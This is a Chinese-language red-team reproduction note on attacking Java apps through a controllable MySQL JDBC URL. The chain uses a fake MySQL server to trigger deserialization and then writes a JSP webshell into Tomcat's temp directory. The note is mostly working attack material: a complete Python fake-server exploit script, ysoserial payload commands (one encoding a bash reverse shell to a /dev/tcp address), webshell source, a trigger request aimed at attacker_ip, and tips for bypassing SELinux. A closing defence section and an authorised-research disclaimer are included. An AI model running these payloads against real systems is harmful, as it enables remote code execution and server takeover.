MySQL JDBC 不出网攻击 → Spring 临时文件利用:完整攻击链复现笔记
本文基于本地授权环境复现,仅供安全研究与学习参考。未经授权的渗透测试属于违法行为。
0x01 背景与攻击场景
在实际红队攻防中,目标服务器通常处于不出网 (无外连能力)的内网环境中,传统的 Runtime.exec() 反弹 shell 无法直接使用。攻击者需要寻找一条不依赖外连的完整利用链。
本文复现的攻击链路:
可控 JDBC 连接串 → Fake MySQL Server → 反序列化触发 → 利用链执行 → Spring 临时文件写入 Webshell → HTTP 访问获取 Shell
整条链不依赖目标服务器的出网能力,所有流量走内网或本地回环。
0x02 MySQL JDBC 反序列化原理
2.1 核心机制
MySQL JDBC(Connector/J)在建立连接时存在多个可被利用的功能点:
| 参数 | 触发行为 | 利用价值 |
|---|---|---|
autoDeserialize=true |
自动反序列化服务端返回的 Java 对象 | 直接 RCE |
detectCustomCollations=true |
探测排序规则时触发反序列化 | 高版本利用 |
statementInterceptors |
加载指定类并实例化 | 加载恶意类 |
useServerPrepStmts=true |
服务端预编译可被利用 | 辅助利用 |
2.2 高版本利用:detectCustomCollations
在 MySQL Connector/J 8.x 版本中,autoDeserialize 的部分利用方式被限制,但 detectCustomCollations 依然有效。
触发条件:
- 连接串中包含
detectCustomCollations=true - MySQL 服务端版本号 >
5.0.0(可通过 Fake Server 伪造) - 连接建立后,客户端会执行
SHOW COLLATION查询
关键源码位置(Connector/J 8.x):
java
// com.mysql.cj.jdbc.ConnectionImpl.java
// initServerCharset() 方法中
if (getDetectCustomCollations()) {
// 执行 SHOW COLLATION 查询
// 结果中 Field 类型的 getBytes() 会被调用
// 如果返回 ObjectInputStream 可读数据 → 反序列化
}
服务端返回的 SHOW COLLATION 结果集中,Field 对象的 getObject() 调用链最终会触发:
ResultSetImpl.getObject()
→ Field.getObject()
→ SerializableDeserializer.deserialize()
→ ObjectInputStream.readObject() ← 反序列化入口
2.3 autoDeserialize=true 直接利用
当 JDBC URL 包含 autoDeserialize=true 时,连接建立后客户端执行测试查询,服务端返回的序列化 Java 对象会被自动反序列化 ,触发 readObject()。
这是最直接的利用方式,但在部分高版本中有额外检查。
0x03 不出网场景下的 Fake MySQL Server
3.1 方案选择
不出网场景下,攻击者无法在公网部署 Fake MySQL Server。可行方案:
- 目标机本地启动 --- 如果已获得文件写入/命令执行的初始权限
- 内网横向 --- 在目标可达的内网主机上启动
- 利用已有的内网 MySQL --- 如果内网存在可控 MySQL 实例(需满足版本要求)
3.2 Fake MySQL Server 核心实现
基于 Python 的 Fake MySQL Server,核心逻辑:
python
import socket
import struct
from utils import *
class FakeMySQLServer:
def __init__(self, port=3306):
self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.server.bind(('0.0.0.0', port))
self.server.listen(1)
def _build_greeting(self):
"""伪造 MySQL 服务端握手包"""
# 协议版本
protocol_version = b'\x0a'
# 服务端版本号(必须 > 5.0.0)
server_version = b'5.7.26-log\x00'
# 连接 ID、auth data、capabilities、charset 等
# ... 构造完整的 Initial Handshake Packet
return packet
def _build_collation_result(self, payload_file):
"""构造 SHOW COLLATION 结果包,内嵌序列化 payload"""
with open(payload_file, 'rb') as f:
payload = f.read()
# 将 payload 作为查询结果的字段值返回
# 客户端反序列化时会读取此数据
return self._build_result_set(payload)
def start(self, payload_file):
"""启动服务并等待连接"""
conn, addr = self.server.accept()
# 1. 发送 Greeting
conn.send(self._build_greeting())
# 2. 接收 Auth Response
self._recv_packet(conn)
# 3. 发送 OK
conn.send(self._build_ok())
# 4. 等待查询,返回恶意结果
self._handle_queries(conn, payload_file)
关键点:
- 服务端版本号必须
> 5.0.0,否则detectCustomCollations不触发 - 返回的序列化数据必须是完整的 Java 对象字节流
- 需要正确处理 MySQL 协议的包格式(4字节头 + payload)
3.3 生成反序列化 Payload
使用 ysoserial 生成:
bash
# CommonsCollections 利用链(需目标 classpath 存在对应依赖)
java -jar ysoserial.jar CommonsCollections5 'curl http://vps:port/test' > cc5.bin
java -jar ysoserial.jar CommonsCollections7 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}' > cc7.bin
# 若目标有 Spring 依赖,可用 Spring 相关链
java -jar ysoserial.jar Spring1 'touch /tmp/pwned' > spring1.bin
0x04 不出网场景的困境与突破
4.1 问题:反序列化执行了,但无法回连
在不出网环境中,即使用 Runtime.exec() 执行了命令,攻击者无法:
- 反弹 Shell(无外连)
- 回传命令结果(无 HTTP/DNS 回连)
- 下载后续 Payload(无外连下载)
4.2 思路:利用 Spring 临时文件写入 Webshell
核心思路: 通过反序列化链执行命令,将 Webshell 写入 Spring Boot/Tomcat 的临时文件目录,再通过 HTTP 直接访问。
为什么选临时文件目录?
Spring Boot 内嵌 Tomcat 在处理 multipart/form-data 文件上传时,会将文件暂存到临时目录:
/tmp/tomcat.xxx.xxxx/work/Tomcat/localhost/ROOT/
这个目录通常可以通过 HTTP 访问,且写入权限相对宽松。
0x05 Spring Boot/Tomcat 临时文件写入利用
5.1 Tomcat 临时文件机制
Tomcat 处理 multipart 请求的流程:
HTTP POST (multipart/form-data)
→ StandardMultipartFilter
→ StandardMultipartHttpServletRequest
→ DiskFileItemFactory.createItem()
→ 临时文件写入: java.io.tmpdir + "/upload_xxx.tmp"
默认临时目录:
| 环境 | 临时目录路径 |
|---|---|
| Linux (Spring Boot) | /tmp/tomcat.xxxx/work/Tomcat/localhost/ROOT/ |
| Windows (Spring Boot) | C:\Users\xxx\AppData\Local\Temp\tomcat.xxxx\ |
| 独立 Tomcat | $CATALINA_HOME/work/Catalina/localhost/ |
5.2 利用方式一:直接写入临时目录
通过反序列化执行命令,将 JSP 马写入临时文件目录:
bash
# 反序列化链执行的命令(不出网,只能本地操作)
# 写入 JSP Webshell 到 Tomcat 临时目录
echo '<%
Runtime rt = Runtime.getRuntime();
String[] cmd = {"/bin/bash", "-c", request.getParameter("cmd")};
Process p = rt.exec(cmd);
java.io.InputStream in = p.getInputStream();
int a = -1;
byte[] b = new byte[2048];
while((a=in.read(b))!=-1){out.print(new String(b,0,a));}
%>' > /tmp/tomcat.8080.xxxx/work/Tomcat/localhost/ROOT/shell.jsp
5.3 利用方式二:通过 JDBC 触发文件写入(更隐蔽)
利用 MySQL 的 LOAD_FILE() / INTO OUTFILE 结合 JDBC 连接,间接写入文件:
sql
-- MySQL 端执行(需要 FILE 权限)
SELECT '<% ... %>' INTO OUTFILE '/tmp/tomcat.xxx/work/Tomcat/localhost/ROOT/shell.jsp';
但这种方式在不出网场景下不太适用,因为我们连接的是 Fake MySQL,不是真实 MySQL。
5.4 利用方式三(本文重点):反序列化链 + 命令写入
完整链路:
1. 目标应用加载 JDBC 连接串(可控)
2. 连接到 Fake MySQL Server(内网/本地)
3. 服务端返回恶意序列化数据
4. 客户端 ObjectInputStream.readObject() 触发反序列化
5. 反序列化链执行系统命令:写入 Webshell 到 Tomcat 临时目录
6. 攻击者通过 HTTP 访问临时文件路径获取 Shell
0x06 完整复现步骤
6.1 环境搭建
yaml
# 目标环境
Spring Boot: 2.3.x (内嵌 Tomcat 9.x)
MySQL Connector/J: 8.0.x
JDK: 8u202
commons-collections: 3.2.1
# 攻击环境
Python: 3.8+
ysoserial: latest
Fake MySQL Server: 自写/现有工具
Spring Boot 漏洞应用示例:
java
@RestController
@SpringBootApplication
public class VulnerableApp {
@GetMapping("/connect")
public String connect(@RequestParam String url) {
try {
// 危险:直接使用用户可控的 JDBC URL
Connection conn = DriverManager.getConnection(url);
return "Connected";
} catch (Exception e) {
return "Error: " + e.getMessage();
}
}
}
6.2 Step 1:构造 JDBC 连接串
java
// 触发 detectCustomCollations 反序列化的连接串
String jdbcUrl = "jdbc:mysql://127.0.0.1:3307/test?"
+ "autoDeserialize=true"
+ "&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
// 或使用 detectCustomCollations 方式(更通用)
String jdbcUrl2 = "jdbc:mysql://127.0.0.1:3307/test?"
+ "detectCustomCollations=true"
+ "&autoDeserialize=true";
参数说明:
autoDeserialize=true
→ 开启自动反序列化
detectCustomCollations=true
→ 触发 SHOW COLLATION 探测,返回序列化数据
statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
→ 高版本 Connector/J 8.x 中,需要配合此参数才能完整触发
6.3 Step 2:启动 Fake MySQL Server
bash
# 使用现成的工具(如 fakemysql / rogue_mysql_server)
python3 fakemysql_server.py -P 3307 -G payload.ser
# 或使用 JNDIExploit 集成的 MySQL Fake Server
java -jar JNDIExploit.jar --mysql 3307
自写 Fake Server 关键点:
python
def handle_client(self, conn):
# 1. 发送 Greeting (版本号 5.7.26)
self.send_greeting(conn)
# 2. 接收 Handshake Response
self.recv_packet(conn)
# 3. 发送 OK Packet
self.send_ok(conn)
# 4. 接收查询请求
while True:
packet = self.recv_packet(conn)
command_type = packet[4] # 第5字节是命令类型
if command_type == 0x03: # COM_QUERY
query = packet[5:].decode('utf-8', errors='ignore')
if 'SHOW COLLATION' in query or 'SHOW VARIABLES' in query:
# 返回包含恶意序列化数据的结果集
self.send_malicious_result(conn, self.payload_data)
else:
self.send_empty_result(conn)
6.4 Step 3:生成 Payload
目标:写入 Webshell(不出网场景)
bash
# 方法1:直接写文件的命令
java -jar ysoserial.jar CommonsCollections7 \
'bash -c {echo,PCUgCiAgICBSdW50aW1lIHJ0ID0gUnVudGltZS5nZXRSdW50aW1lKCk7IAogICAgU3RyaW5nW10gY21kID0geyJiaW5iYXNoIiwgIi1jIiwgcmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpfTsgCiAgICBQcm9jZXNzIHAgPSBydC5leGVjKGNtZCk7IAogICAgamF2YS5pby5JbnB1dFN0cmVhbSBpbiA9IHAuZ2V0SW5wdXRTdHJlYW0oKTsgCiAgICBpbnQgYSA9IC0xOyAKICAgIGJ5dGVbXSBiID0gbmV3IGJ5dGVbMjA0OF07IAogICAgd2hpbGUoKGE9aW4ucmVhZChiKSkhPS0xKXtvdXQucHJpbnQobmV3IFN0cmluZyhiLDAsYSkpO30KJT4=}|{base64,-d}|{bash,-i}' \
> payload_cc7.ser
# 方法2:使用更通用的链(Spring + CommonsCollections 混合)
java -jar ysoserial.jar Spring1 'bash -c {echo,...}|{base64,-d}|{bash,-i}' > payload_spring.ser
注意: base64 编码的是 JSP Webshell 的内容,避免命令行特殊字符转义问题。
6.5 Step 4:触发攻击
bash
# 访问目标应用,触发 JDBC 连接
curl "http://target:8080/connect?url=jdbc:mysql://attacker_ip:3307/test?autoDeserialize=true%26detectCustomCollations=true%26statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"
攻击流程时序:
攻击者 目标应用 Fake MySQL
| | |
|-- HTTP GET /connect ---->| |
| |-- JDBC connect --------->|
| | (autoDeserialize=true) |
| | |
| |<-- Greeting Packet ------|
| |-- Auth Response -------->|
| |<-- OK Packet ------------|
| | |
| |-- SHOW COLLATION ------->|
| |<-- 恶意序列化结果 --------|
| | |
| | [ObjectInputStream |
| | .readObject() 触发] |
| | |
| | [反序列化链执行命令] |
| | → 写入 Webshell 到 |
| | Tomcat 临时目录 |
| | |
|<-- HTTP GET /shell.jsp --| (访问写入的 Webshell) |
| → 获取 Shell | |
6.6 Step 5:访问 Webshell
bash
# 临时文件路径通常为:
# /tmp/tomcat.8080.xxxx/work/Tomcat/localhost/ROOT/shell.jsp
# 但文件名可能带随机后缀,需要枚举
# 通过 Spring Actuator 获取临时目录信息(如有)
curl http://target:8080/actuator/env | grep tmpdir
# 直接访问(如果知道路径)
curl "http://target:8080/shell.jsp?cmd=id"
curl "http://target:8080/shell.jsp?cmd=cat+/etc/passwd"
# 如果路径不确定,可以枚举 /tmp 下的文件
# 反序列化执行:ls /tmp/tomcat.*/work/Tomcat/localhost/ROOT/
0x07 踩坑记录
7.1 JDK 版本兼容问题
| JDK 版本 | 影响 | 解决方案 |
|---|---|---|
| JDK 8u20 以下 | autoDeserialize 完全可用 |
无 |
| JDK 8u20 ~ 8u71 | 部分限制,需配合 AnnotationInvocationHandler |
使用 CommonsCollections6 链 |
| JDK 8u72+ | AnnotationInvocationHandler 被修复 |
使用 CommonsCollections7 或其他绕过链 |
| JDK 11+ | SecurityManager 默认更严格 |
需要更高级的绕过链或换思路 |
7.2 Connector/J 版本差异
Connector/J 5.x:
→ autoDeserialize=true 直接触发
→ detectCustomCollations 同样有效
Connector/J 8.0.x ~ 8.0.20:
→ autoDeserialize 需要配合 statementInterceptors 参数
→ detectCustomCollations 仍然有效
Connector/J 8.0.21+:
→ 增加了反序列化类的白名单检查
→ 需要使用特定的类名绕过(如使用 JDBC Attack 的其他利用点)
7.3 临时文件权限问题
问题1: Tomcat 临时目录无写入权限
→ 解决:选择其他可写目录(如 /var/tmp、应用工作目录)
问题2: SELinux / AppArmor 阻止写入
→ 解决:利用反序列化链先关闭安全模块,或换写入路径
问题3: 写入成功但 HTTP 无法访问
→ 解决:Tomcat 临时目录不一定在 Web 根路径下
→ 需要写入到 webapps/ROOT/ 下的静态资源目录
→ 或利用 Spring 的 ResourceHandler 映射路径
7.4 命令执行回显问题
python
# 不出网场景下获取命令回显的方法
# 方法1:写入文件后通过 HTTP 读取
exec_cmd("whoami > /tmp/tomcat.xxx/work/Tomcat/localhost/ROOT/output.txt")
# 然后 GET /output.txt
# 方法2:利用 JNDI 注入 + 本地 Class 加载(复杂但更隐蔽)
# 方法3:利用 DNSLog 在内网 DNS 服务器上回显(需要内网 DNS 可控)
0x08 关键函数调用链分析
8.1 JDBC 连接建立的反序列化入口
DriverManager.getConnection(url)
→ ConnectionImpl.getInstance(host, props)
→ ConnectionImpl.initializePropsFromServer()
→ if (getDetectCustomCollations())
→ session.execSQL(...)
→ NativeSession.execSQL()
→ MysqlIO.sqlQueryDirect()
→ ResultSetImpl.build()
→ ResultSetImpl.initializeFromField()
→ Field.getObject()
→ SerializableDeserializer.deserialize(bytes)
→ ObjectInputStream.readObject() ← 反序列化点
8.2 StatementInterceptor 触发链
com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
→ postProcess()
→ ResultSetUtil.resultSetToMap(rs)
→ rs.getObject()
→ Field.getObject()
→ ObjectInputStream.readObject() ← 反序列化点
8.3 CommonsCollections7 利用链(简述)
PriorityQueue.readObject()
→ PriorityQueue.heapify()
→ PriorityQueue.siftDown()
→ siftDownUsingComparator()
-> TransformingComparator.compare()
-> ChainedTransformer.transform()
-> ConstantTransformer.transform()
-> InvokerTransformer.transform()
-> Runtime.exec() ← 命令执行
0x09 完整自动化脚本
python
#!/usr/bin/env python3
"""
MySQL JDBC 不出网攻击 → Spring 临时文件写入 自动化利用脚本
仅供授权安全研究使用
"""
import socket
import struct
import threading
import time
import requests
import argparse
import os
class MySQLFakeServer:
"""Fake MySQL Server 核心类"""
def __init__(self, host='0.0.0.0', port=3306, payload_file=None):
self.host = host
self.port = port
self.payload = self._load_payload(payload_file)
self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
def _load_payload(self, filepath):
if filepath and os.path.exists(filepath):
with open(filepath, 'rb') as f:
return f.read()
raise FileNotFoundError(f"Payload file not found: {filepath}")
def _build_packet(self, payload, seq_id=0):
"""构造 MySQL 协议包"""
length = len(payload)
header = struct.pack('<I', length)[0:3] + struct.pack('<B', seq_id)
return header + payload
def _build_greeting(self):
"""构造服务端握手包"""
payload = bytearray()
payload.append(0x0a) # protocol version
payload.extend(b'5.7.26-log\x00') # server version
payload.extend(struct.pack('<I', 12345)) # connection id
payload.extend(b'abcdefgh') # auth-plugin-data-part-1
payload.append(0x00) # filler
payload.extend(struct.pack('<I', 0xffffffff)) # capability flags lower
payload.append(0x21) # character set (utf8)
payload.extend(struct.pack('<H', 0x0002)) # status flags
payload.extend(struct.pack('<B', 0x0f)) # capability flags upper
payload.append(0x00) # reserved
payload.extend(b'\x00' * 10) # reserved
payload.extend(b'ijklmnopqrst\x00') # auth-plugin-data-part-2
payload.extend(b'mysql_native_password\x00') # auth plugin name
return self._build_packet(payload, 0)
def _build_ok(self):
"""构造 OK 包"""
payload = bytearray()
payload.append(0x00) # OK indicator
payload.append(0x00) # affected rows
payload.append(0x00) # last insert id
payload.extend(struct.pack('<H', 0x0002)) # status flags
payload.extend(struct.pack('<H', 0x0000)) # warnings
return self._build_packet(payload, 2)
def _build_result_with_payload(self):
"""构造包含反序列化 payload 的查询结果包"""
# Field count
field_count = self._build_packet(b'\x01', 1)
# Field definition
field_data = bytearray()
field_data.extend(b'\x03def\x00\x00\x00\x01\x31\x00\x0c\x3f\x00\x01')
field_data.extend(b'\x00\x00\x00\x08\x80\x00\x00\x00\x00')
field_packet = self._build_packet(field_data, 2)
# EOF
eof = self._build_packet(b'\xfe\x00\x00\x02\x00', 3)
# Data row with payload
row_data = bytearray()
row_data.append(0x00) # protocol byte
row_data.extend(struct.pack('<B', len(self.payload))) # payload length
row_data.extend(self.payload) # 序列化数据
row_packet = self._build_packet(row_data, 4)
# EOF
eof2 = self._build_packet(b'\xfe\x00\x00\x02\x00', 5)
return field_count + field_packet + eof + row_packet + eof2
def _handle_client(self, conn, addr):
"""处理客户端连接"""
print(f"[+] Connection from {addr}")
try:
# 1. Send greeting
conn.send(self._build_greeting())
# 2. Receive auth
auth_packet = conn.recv(4096)
print(f"[*] Auth received ({len(auth_packet)} bytes)")
# 3. Send OK
conn.send(self._build_ok())
print("[*] Auth OK sent")
# 4. Wait for queries
while True:
packet = conn.recv(4096)
if not packet:
break
cmd = packet[4]
if cmd == 0x03: # COM_QUERY
query = packet[5:].decode('utf-8', errors='ignore')
print(f"[*] Query: {query}")
if 'COLLATION' in query or 'VARIABLE' in query.upper():
print("[!] Triggering deserialization!")
conn.send(self._build_result_with_payload())
else:
conn.send(self._build_ok())
elif cmd == 0x01 or cmd == 0x04: # COM_QUIT / COM_QUERY
break
except Exception as e:
print(f"[-] Error: {e}")
finally:
conn.close()
print(f"[-] Connection closed: {addr}")
def start(self):
"""启动服务器"""
self.server.bind((self.host, self.port))
self.server.listen(5)
print(f"[*] Fake MySQL Server listening on {self.host}:{self.port}")
while True:
conn, addr = self.server.accept()
t = threading.Thread(target=self._handle_client, args=(conn, addr))
t.start()
def trigger_jdbc(target_url, jdbc_url):
"""触发目标的 JDBC 连接"""
payload = {
'url': jdbc_url
}
try:
r = requests.get(target_url, params=payload, timeout=10)
print(f"[*] Trigger response: {r.status_code} - {r.text[:200]}")
except Exception as e:
print(f"[-] Trigger failed: {e}")
def verify_webshell(target_base, shell_path):
"""验证 Webshell 是否可访问"""
url = f"{target_base}/{shell_path}"
try:
r = requests.get(url, timeout=5)
if r.status_code == 200:
print(f"[+] Webshell accessible: {url}")
return True
except:
pass
print(f"[-] Webshell not found at: {url}")
return False
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='JDBC Deserialization → Spring TempFile Exploit')
parser.add_argument('--listen-port', type=int, default=3307, help='Fake MySQL port')
parser.add_argument('--payload', required=True, help='Serialized payload file')
parser.add_argument('--target', help='Target app URL (e.g., http://victim:8080/connect)')
parser.add_argument('--jdbc-url', help='JDBC URL to inject')
parser.add_argument('--shell-path', default='shell.jsp', help='Webshell filename')
args = parser.parse_args()
# Step 1: Start Fake MySQL Server
server = MySQLFakeServer(port=args.listen_port, payload_file=args.payload)
t = threading.Thread(target=server.start, daemon=True)
t.start()
time.sleep(1)
# Step 2: Trigger (if target URL provided)
if args.target and args.jdbc_url:
print(f"[*] Triggering target: {args.target}")
trigger_jdbc(args.target, args.jdbc_url)
time.sleep(3)
# Step 3: Verify
target_base = args.target.split('/connect')[0] if '/connect' in args.target else args.target
verify_webshell(target_base, args.shell_path)
print("[*] Server running. Press Ctrl+C to stop.")
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print("\n[*] Shutting down.")
0x0A 防御措施
10.1 代码层面
java
// ✅ 正确做法:限制 JDBC URL 来源
// 1. 禁止用户直接控制 JDBC URL
// 2. 使用连接池(HikariCP 等),URL 在配置文件中固定
// 3. 如需动态连接,严格校验 URL 协议和主机白名单
public Connection safeConnect(String host, int port, String dbName) {
// 白名单校验
if (!isAllowedHost(host)) {
throw new IllegalArgumentException("Host not allowed");
}
String url = String.format("jdbc:mysql://%s:%d/%s?useSSL=true", host, port, dbName);
return DriverManager.getConnection(url, username, password);
}
10.2 配置层面
yaml
# application.yml 安全配置
spring:
datasource:
# 使用固定连接池,不暴露 JDBC URL 参数
hikari:
jdbc-url: jdbc:mysql://db-host:3306/app?useSSL=true
maximum-pool-size: 10
# 禁用 Actuator 敏感端点
management:
endpoints:
web:
exposure:
include: health,info
10.3 运行时防御
| 防御措施 | 说明 |
|---|---|
| 升级 Connector/J | 8.0.28+ 修复了部分反序列化点 |
| JDK 版本升级 | 高版本 JDK 对反序列化有更多限制 |
| WAF 规则 | 检测 JDBC URL 中的可疑参数 |
| RASP 防护 | 拦截 ObjectInputStream.readObject() 调用 |
| 文件监控 | 监控 Tomcat 临时目录的异常文件写入 |
| 网络隔离 | 限制应用只能连接指定数据库,禁止任意 TCP 出连 |
10.4 最佳实践清单
- JDBC URL 不可由用户外部输入控制
- 使用连接池,URL 写死在配置文件中
- 移除 classpath 中不必要的反序列化依赖(commons-collections 3.x 等)
- 升级 MySQL Connector/J 至最新版
- Tomcat 临时目录设置访问控制(
readonly=true) - 启用 RASP 拦截反序列化调用
- 内网应用禁止出网(双向限制)
- 定期审计应用依赖的已知漏洞组件
0x0B 总结
整条攻击链的核心价值在于不出网场景下的完整利用:
攻击面发现 → JDBC 连接串可控
↓
反序列化触发 → Fake MySQL + detectCustomCollations
↓
不出网命令执行 → 写入 Webshell 到 Tomcat 临时目录
↓
HTTP 访问获取 Shell → 完成攻击闭环
关键收获:
- 不出网 ≠ 安全,内网服务间的信任关系同样是攻击面
- JDBC 连接串是高价值攻击面,特别是支持动态 URL 的应用
- 临时文件写入是不出网场景下获取持久化访问的实用技巧
- 版本兼容性是实际利用中的主要障碍,需要针对目标环境调整利用链
本文仅供安全研究学习,所有测试均在本地授权环境中完成。